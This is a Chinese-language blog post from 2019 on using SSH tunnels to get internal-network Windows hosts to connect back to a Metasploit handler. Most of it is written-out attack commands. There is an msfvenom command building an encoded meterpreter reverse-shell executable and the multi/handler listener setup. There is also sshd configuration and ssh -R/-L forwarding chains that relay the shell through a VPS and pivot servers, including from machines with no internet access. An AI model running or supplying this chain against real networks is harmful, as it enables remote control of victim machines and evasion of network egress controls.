利用ssh隧道上线内网主机

ssh隧道

Posted by hmoytx on October 17, 2019

利用ssh隧道上线内网主机

简介

SSH 为 Secure Shell 的缩写,SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行SSH。
通俗点说就是一个专门用于传输网络数据的加密安全传输协议,也可用于实现VPN隧道或者绕过防火墙访问Internet服务。

SSH的用途

  • 1.连接操作服务器
  • 2.内网穿透
  • 3.FQ
  • 4.远控上线

SSH命令浅析

usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]
           [-D [bind_address:]port] [-E log_file] [-e escape_char]
           [-F configfile] [-I pkcs11] [-i identity_file]
           [-J [[email protected]]host[:port]] [-L address] [-l login_name] [-m mac_spec]
           [-O ctl_cmd] [-o option] [-p port] [-Q query_option] [-R address]
           [-S ctl_path] [-W host:port] [-w local_tun[:remote_tun]]
           [[email protected]]hostname [command]

端口转发常用参数:

-N #告诉SSH客户端,这个连接不需要执行任何命令。仅仅做端口转发
-f #告诉SSH客户端在后台运行
-L #本地转发
-R #远程转发
-D #动态转发
-C #数据压缩
-g #允许允许远程主机连接到建立的转发的端口,否则只是本地转发  

这里主要还是讲讲内网机器上线,分两个情况来讨论,有网无网情况。

内网机器本地msf上线

拓补如下:
191017_1
开始,首先vps开启ssh转发

# vi /etc/ssh/sshd_config
  AllowTcpForwarding yes
  GatewayPorts yes
  TCPKeepAlive yes
  PasswordAuthentication yes
# /etc/init.d/sshd restart

生成payload

# msfvenom --platform Windows -p windows/meterpreter/reverse_tcp_rc4_dns lhost=1.1.1.1 lport=443 rc4password=nmsl -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o dns_rc4.exe

然后习惯性先看看vps上443开了没

# netstat -tulnp | grep ":443"

在本地的机器开启监听执行转发

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp_rc4_dns 
msf > set lport 53
msf > set lhost 192.168.1.1
msf > set rc4password nmsl
msf > set exitonsession false
msf > exploit -j

# netstat -tulnp | grep “:53”  #看看53开了没  
ssh -C -f -N -g -R 0.0.0.0:443:192.168.1.1:53 [email protected] -p 22

目标机器执行payload,就可以接收到会话了。
191017_2

内网断网机器本地msf上线

拓补如下,windows机器不通外网可以连一台不通外网的服务器,此服务器同网段中又有一台通外网的服务器:
191017_3
同样的生成payload

msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=192.168.10.3 lport=53 rc4password=nmsl -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rev.exe

vps开启监听

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp_rc4_dns 
msf > set lport 53
msf > set lhost 1.1.1.1
msf > set rc4password nmsl
msf > set exitonsession false
msf > exploit -j

然后去配置通外网的linux机器的ssh转发
接着去不通外网的linux服务器上建立隧道

# ssh -C -f -N -g -L 0.0.0.0:53:1.1.1.1:53 [email protected] -p 22
# netstat -tulnp | grep “:53” #习惯性确认53开放  

windows执行payload就可以上线了

总结与注意事项

无论是meterpreter还是beacon都是相同的可以通过这种方式来进行上线,本质上是一样的。这里只是列举了ssh最基本的隧道用法,还有很多可以继续挖掘。
这个方式也有个问题,毕竟是ip直连,一查看进程端口列表就能看到ip,也是容易暴露的。